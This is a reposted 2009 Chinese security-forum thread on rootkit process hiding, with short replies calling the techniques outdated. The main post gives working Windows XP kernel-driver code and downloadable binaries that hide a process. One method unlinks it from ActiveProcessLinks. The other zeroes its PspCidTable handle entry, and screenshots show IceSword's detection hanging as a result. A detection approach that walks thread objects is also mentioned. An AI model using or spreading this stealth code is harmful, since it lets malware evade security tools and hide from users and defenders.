查看: 3472|回复: 7
收起左侧

Rootkit技术-进程隐藏2(轉)

[复制链接]
英仔
发表于 2009-3-17 18:44:39 | 显示全部楼层 |阅读模式
IceSword 这个软件下可以看到隐藏的进程!!  确实  IceSword  应用大量的内核技术的!! 并不是浪得虚名嘎!!! 上网 找找 IcesWord 相关资料就会知道!!!不过 上次的 隐藏技术 确实挺好的!! 简单方便!! 而且 能够 骗到一大片! 因为 R3 态的  进程查找函数都最终 来到这个进程执行体 找的!!!

所以 R3的软件 都能骗的~~~

那 IceSword 有为什么能找到尼??  那当然在内核找!!   icesword 是在一个不属于任何进程的PspCidTable句柄表 里面找到对应的所有 句柄! 并且找到 进程的执行体的 首地址! 所以即使断链了  但是 句柄表 还是有这个记录! 除非这个句柄表把自己的进程objec 从PspCidTable擦除!!哈哈!!  本人菜鸟!!  最好的学习方法是实践!!!

下面演示以下 icesword 是如何找进程的!!!!首先 用断去 活动链表的方法隐藏进程  然后再用以上的方法检索系统的进程! 看看结果如何!!:::

先隐藏进程:
7.jpg (64.05 KB)
2008-11-25 00:50




之后检测进程:

8.jpg (146.85 KB)
2008-11-25 00:50




哈哈  看到没有!!!!!!

哈哈 那么 有办法 擦除自身进程在这个 handle_table 里面的数据!! 哈哈~~~~~~~··


研究研究之后!N多蓝屏!找N多资料之后!!! 最终就有了这篇 文章!!^_^  实现 handle_table 的断开!!!哈哈~

先看看!!
初始的进程数:                       运行程序 利用内核 断开在 handle_table自身对象 那么 就不能查到这个进程咯!!!

1.jpg (56.44 KB)
2008-11-25 00:50

    2.jpg (75.3 KB)
2008-11-25 00:50





那么用 IceSword 会如何尼???? 当我断了我的 handle_table 之后!!  这个进程就变得似有似无了  哈哈  
打开Icesword   如果一进入进程检测模块 就会进入假死状态!! 不能再检测!!因为某处给我修改了! IcesWord摸不着头脑!哈哈~

进入端口检测还可以!!!

4.jpg (53.02 KB)
2008-11-25 00:50



进入进程检测模块 就会假死!!! 加上 icesword 的坚强的自身保护!! 在R3态基本不能把他关闭!!那么 只有重启电脑了 呵呵~  而且隐藏的进程还在隐藏!!

5.jpg (49.2 KB)
2008-11-25 00:50




6.jpg (58.88 KB)
2008-11-25 00:50





那么再用我刚刚编写的那个 检测软件 来检测啊!!! 看看结果如何???

由于 这个断句柄表的 方法去断系统进程会非常危险 所以我只隐藏自身进程了!!  


9.jpg (161.96 KB)
2008-11-25 00:50




哈哈  结果是明显的~~~~哈哈~

给上核心代码给大家研究研究 呵呵~~~ 复制内容到剪贴板 代码:/************************************************************************
* 函数名称:MyDDKCreateThread
* 功能描述:对读IRP进行处理,对应用程序的请求进行处理
* 参数列表:
pDevObj:功能设备对象
pIrp:从IO请求包
* 返回 值:返回状态
*************************************************************************/
#pragma INITCODE
NTSTATUS MyDDKCreateThread(IN PDEVICE_OBJECT pDevObj,IN PIRP pIrp)
{
NTSTATUS status = STATUS_SUCCESS;
KdPrint(("Enter HelloDDKDeviceIOControl\n"));

// //得到当前堆栈
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
// //得到输入缓冲区大小
// ULONG cbin = stack->Parameters.DeviceIoControl.InputBufferLength;
// //得到输出缓冲区大小
// ULONG cbout = stack->Parameters.DeviceIoControl.OutputBufferLength;
// //得到IOCTL码
ULONG code = stack->Parameters.DeviceIoControl.IoControlCode;

ULONG info = 0;


switch (code)
{ // process request
case IOCTL_CreateThread:
{

KdPrint(("IOCTL_CreateThread\n"));

//隐藏自身进程

PEPROCESS ppEprocess = IoGetCurrentProcess();
PLIST_ENTRY FPLE,LtempF,LtempB;
FPLE=(PLIST_ENTRY)((ULONG)ppEprocess + 0x088); //保存当前进程的进程活动链 ActiveProcessLinks

//隐藏自身进程
LtempF=FPLE->Flink;
LtempF->Blink=FPLE->Blink;//连接向后的链
LtempB=FPLE->Blink; //连接向前的链
LtempB->Flink=LtempF;


break;
}
case IOCTL_HProcess:
{


KdPrint(("IOCTL_HProcess\n"));
PEPROCESS pppEprocess = IoGetCurrentProcess();
int mypid=*(int *)((ULONG)pppEprocess + GetPlantformDependentInfo(OFFSET_EPROCESS_PID));

IsValidProcess(mypid);

break;
}


default:
status = STATUS_INVALID_VARIANT;
}

// 完成IRP
pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = info; // bytes xfered
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
KdPrint(("Leave HelloDDKDeviceIOControl\n"));
return status;
}





#pragma INITCODE
VOID IsValidProcess(IN int id)
{

ULONG PspCidTable;
ULONG TableCode;
ULONG table1,table2;
ULONG object,objectheader;
PULONG objectdel;
ULONG NextFreeTableEntry;
ULONG processtype,type;
ULONG flags;
ULONG i;


PspCidTable=GetCidAddr(); // 通过搜索PsLookupProcessByProcessId函数,获取PspCidTable的地址
processtype=GetProcessType(); //
if(PspCidTable==0)
{
return ;
}
else
{

/*
kd> dd pspCidTAble
80560ce0 e10018c8 00000002 00000000 00000000
80560cf0 00000000 00000000 00000000 00000000
80560d00 00000000 00000000 00000000 00000000
80560d10 00000000 00000000 00000000 00000000

kd> dt _HANDLE_TABLE e10018c8
nt!_HANDLE_TABLE
+0x000 TableCode : 0xe1003000
+0x004 QuotaProcess : (null)
+0x008 UniqueProcessId : (null)
+0x00c HandleTableLock : [4] _EX_PUSH_LOCK
+0x01c HandleTableList : _LIST_ENTRY [ 0xe10018e4 - 0xe10018e4 ]
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo : (null)
+0x02c ExtraInfoPages : 0
+0x030 FirstFree : 0x770
+0x034 LastFree : 0x764
+0x038 NextHandleNeedingPool : 0x800
+0x03c HandleCount : 266
+0x040 Flags : 1
+0x040 StrictFIFO : 0y1

注意NextHandleNeedingPool : 0x800,句柄表依靠NextHandleNeedingPool来计数的,
凡是大于0x800(2048)的部分就放入第二张表中.所以当CID(PID)号大于0x800时,
就需要查找第二张表了.例如要定位CID等于0x844的句柄表位置,
0xe1003800 + ( 0x844 - 0x800 ) * 2 这个偏移就是CID为0x844的句柄项了.

kd> dd e1003000
e1003000 00000000 fffffffe 81fc9a01 00000000
e1003010 81fc9789 00000000 81fc9341 00000000
e1003020 81fc8021 00000000 81fc8da9 00000000
e1003030 81fc8b31 00000000 81fc88b9 00000000
e1003040 81fc8641 00000000 81fc83c9 00000000
e1003050 81fc7021 00000000 81fc7da9 00000000
e1003060 81fc7b31 00000000 81fc78b9 00000000
e1003070 81fc7641 00000000 81fc73c9 00000000

kd> !object 81fc9a01
Object: 81fc9a01 Type: (0081fc90) ObjectHeader: 81fc99e9 (old version)
HandleCount: 1073741824 PointerCount: 33554432

kd> !object 81fc9a00
Object: 81fc9a00 Type: (81fc9040) Process ObjectHeader: 81fc99e8 (old version)
HandleCount: 2 PointerCount: 56

81fc9a00的进程是System...以后的都是其线程。
*/
//TableCode的最后两位在XP中决定了句柄表的层数
TableCode=*(PULONG)(*(PULONG)PspCidTable); //由指针获得 tablecode 的内容
if((TableCode&0x3)==0x0) //table的低两位是0 则只有
{
table1=TableCode; //0级句柄表
table2=0x0;
}
if((TableCode&0x3)==0x1) //低位为1 有二级句柄表
{
TableCode=TableCode&0xfffffffc; //低两位置0
table1=*(PULONG)TableCode; //一级句柄表
table2=*(PULONG)(TableCode+0x4); //二级句柄表
}
//对cid从0x0到0x4e1c进行遍历
for(i=0x0;i<0x4e1c;i++)
{
if(i<=0x800)
{
if(MmIsAddressValid((PULONG)(table1+i*2)))
{
object=*(PULONG)(table1+i*2);

objectdel=(PULONG)(table1+i*2);

//NEXTFREETABLEENTRY==0X04
if(MmIsAddressValid((PULONG)(table1+i*2+NEXTFREETABLEENTRY)))
{
NextFreeTableEntry=*(PULONG)(table1+i*2+NEXTFREETABLEENTRY);
if(NextFreeTableEntry==0x0)//正常的_HANDLE_TABLE_ENTRY中NextFreeTableEntry为0x0
{
object=((object | 0x80000000)& 0xfffffff8);//转换为对象(体)指针 ObjectHeader
objectheader=(ULONG)OBJECT_TO_OBJECT_HEADER(object);//获取对象(头)指针
if(MmIsAddressValid((PULONG)(objectheader+TYPE)))
{
//TYPE==0x08
type=*(PULONG)(objectheader+TYPE);
if(type==processtype)
{
flags=*(PULONG)((ULONG)object+GetPlantformDependentInfo(OFFSET_EPROCESS_FLAGS));
if((flags&0xc)!=0xc)
{

if(id==(*(int *)(object+GetPlantformDependentInfo(OFFSET_EPROCESS_PID))))
{
//object=0x0;
__asm
{

mov eax,objectdel
mov [eax],0

}
//*(PULONG)(table1+i*2)=0;




}

// RecordInfo(object);//flags显示进程没有退出
}
}
}
}
}
}
}
else
{
if(table2!=0)
{
if(MmIsAddressValid((PULONG)(table2+(i-0x800)*2)))
{
object=*(PULONG)(table2+(i-0x800)*2);
objectdel=(PULONG)(table2+(i-0x800)*2);
if(MmIsAddressValid((PULONG)((table2+(i-0x800)*2)+NEXTFREETABLEENTRY)))
{
NextFreeTableEntry=*(PULONG)((table2+(i-0x800)*2)+NEXTFREETABLEENTRY);
if(NextFreeTableEntry==0x0)
{
object=((object | 0x80000000)& 0xfffffff8);
objectheader=(ULONG)OBJECT_TO_OBJECT_HEADER(object);
if(MmIsAddressValid((PULONG)(objectheader+TYPE)))
{
type=*(PULONG)(objectheader+TYPE);
if(type==processtype)
{
flags=*(PULONG)((ULONG)object+GetPlantformDependentInfo(OFFSET_EPROCESS_FLAGS));
if((flags&0xc)!=0xc)
{

if(id==(*(int *)(object+GetPlantformDependentInfo(OFFSET_EPROCESS_PID))))
{
//object=0x0;
__asm
{

mov eax,objectdel
mov [eax],0

}
//*(PULONG)(table2+(i-0x800)*2)=0;

}



//RecordInfo(object);
}
}
}
}
}
}
}
}
}
}


}

附上初始程序!!!

嘻嘻~~~

脱去进程活动链隐藏进程: AnziDDK.rar (31.46 KB) AnziDDK.rar (31.46 KB)
下载次数: 49
2008-11-25 00:50



断handle_table表进程对象方法隐藏进程: Archive.rar (31.88 KB) Archive.rar (31.88 KB)
下载次数: 48
2008-11-25 00:50



据说Icesword也是用这个方法检测进程 的测试文件: PspCidTable.rar (32.4 KB)
哈哈  更细腻的 进程查找方法!!哈哈~~     一般的 hook 技术所隐藏的 进程 都会给查找出来的  因为这是 找到对象的数据!!     下面是 遍历系统的 所有记载的 线程对象!!  再在 线程对象中找到 所属的 进程对象 达到 把系统所有进程 给翻出来  哈哈  看效果!!!!

因为硬编码 所以 这个只在 xp 环境下的!!!!  其他版本需要 自己定位!!!


111.jpg (263.28 KB)
2008-11-26 19:02







测试文件:: DDKanzi.rar (32.25 KB)
DDKanzi.rar (32.25 KB)
下载次数: 38
2008-11-26 19:02




哈哈  把自己系统的 进程翻一翻吧  呵呵  可能有以外收获 呵呵~~

[ 本帖最后由 英仔 于 2009-3-17 18:47 编辑 ]
a2695717
发表于 2009-3-17 18:47:25 | 显示全部楼层
支持!
dl123100
发表于 2009-3-17 18:47:51 | 显示全部楼层
断链和擦掉句柄表都是几年前的老技术了
一般的ark软件都能检测
MagicFuzzX
发表于 2009-3-17 18:53:27 | 显示全部楼层
现在基本在inline hook级别,冰刃有些时代了
水木
发表于 2009-3-17 19:13:14 | 显示全部楼层
这个帖子讲的有些老,不过感谢楼主的热心
1e3e
头像被屏蔽
发表于 2009-3-17 19:33:30 | 显示全部楼层
楼主原创么?谢谢分享
angel13th
发表于 2009-3-17 20:10:43 | 显示全部楼层
这个看上去还真是很久以前的文章了
tcxb
发表于 2009-3-17 20:16:12 | 显示全部楼层
貌似在其他地方看到了吧
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-9 04:49 , Processed in 0.131889 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表